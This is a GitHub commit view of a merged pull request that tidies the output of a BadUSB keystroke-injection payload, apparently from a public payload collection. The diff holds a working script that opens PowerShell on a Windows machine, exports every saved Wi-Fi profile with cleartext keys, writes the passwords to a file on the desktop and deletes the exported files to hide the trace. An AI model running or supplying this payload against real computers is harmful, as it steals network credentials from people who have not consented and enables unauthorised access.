Merge pull request #109 from johnmckee02/patch-1

Clean up output
This commit is contained in:
UberGuidoZ 2022-08-26 17:26:36 -07:00 committed by GitHub
commit e02fa560b8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -9,5 +9,5 @@ DELAY 500
STRING powershell
ENTER
DELAY 500
STRING cd C:\Users\$env:UserName\Desktop;netsh wlan export profile key=clear;Select-String -Path WiFi-* -Pattern 'keyMaterial'>0.txt;del WiFi-*;exit
STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '</?keyMaterial>', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit
ENTER